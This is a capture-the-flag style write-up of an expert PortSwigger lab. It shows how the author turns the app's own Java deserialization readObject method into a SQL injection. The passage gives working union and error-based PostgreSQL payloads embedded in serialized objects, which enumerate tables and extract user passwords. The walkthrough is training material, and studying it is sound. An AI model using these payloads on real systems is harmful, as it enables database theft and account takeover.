Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Insecure Deserialization — Java, Custom Gadget Chain, SQLi via Deserialized Object
Difficulty Expert
Objective Construct a custom gadget chain to obtain the administrator's password, then log in and delete carlos
Note No pre-built tool — requires building the chain from source code found in the app

Developing a Custom Gadget Chain for Java Deserialization

I logged in as wiener:peter and intercepted the /my-account request:

Screenshot

Decoding the session cookie confirmed a Java serialized object (rO0AB prefix):

echo -n "rO0ABXNyAC9sYWIu..." | base64 -d; echo
Screenshot

Inspecting the page source revealed a commented-out link:

<!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->
Screenshot
Screenshot

Navigating up to /backup/ showed a second file: ProductTemplate.java.

Screenshot

The relevant part of ProductTemplate.java:

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
    inputStream.defaultReadObject();
    // ...
    String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
    Statement statement = connect.createStatement();
    ResultSet resultSet = statement.executeQuery(sql);
    // ...
}

readObject() fires automatically on deserialization and passes this.id unsanitized into a SQL query. This isn't a library gadget chain — the app's own code is the gadget. No ysoserial or phpggc needed; just building a serialized ProductTemplate with a controlled id value is enough. Compilation only requires a stripped-down version without the full DB dependencies — just enough for the class and id field to be serializable:

.
├── data/productcatalog/ProductTemplate.java
├── data/productcatalog/Product.java
└── Main.java
Screenshot

Setting id to a single quote to confirm injection:

ProductTemplate originalObject = new ProductTemplate("'");
javac Main.java && java Main

Pasting the serialized output as the session cookie:

Screenshot
Screenshot
PSQLException: Unterminated string literal started at position 36 in SQL SELECT * FROM products WHERE id = ''' LIMIT 1.

SQLi confirmed. Testing '-- - returned a ClassCastException instead — no SQL error, injection running cleanly.

Screenshot

ORDER BY enumeration found 8 columns. For exfiltration, cast(... as numeric) is a reliable PostgreSQL error-based technique — it forces a type error that reflects the string value in the error message, making it a readable side channel from what's otherwise a blind injection:

Screenshot
ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(version() as numeric),NULL,NULL,NULL,NULL -- -");
Screenshot
ERROR: invalid input syntax for type numeric: "PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4)..."

Column 4 accepts text, PostgreSQL 12.22 confirmed. Using string_agg() — the PostgreSQL equivalent of GROUP_CONCAT() — to pull all table names in a single error-reflected result rather than iterating through them one at a time:

ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, '->') as numeric),NULL,NULL,NULL,NULL from information_schema.tables -- -");
Screenshot
Screenshot

All tables in the error output. Enumerating columns in users:

ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ':') as numeric),NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'-- -");
Screenshot
ERROR: invalid input syntax for type numeric: "username:password:email"

Extracting credentials:

ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username|| ' -> ' || password, ':') as numeric),NULL,NULL,NULL,NULL from users-- -");
Screenshot
ERROR: invalid input syntax for type numeric: "administrator -> tg8okseh8afla24wylnt:wiener -> peter:carlos -> gzrviswdd7yug46p2ghl"

Administrator password: tg8okseh8afla24wylnt. Logging in:

Screenshot
Screenshot
Screenshot

And lab solved

Resources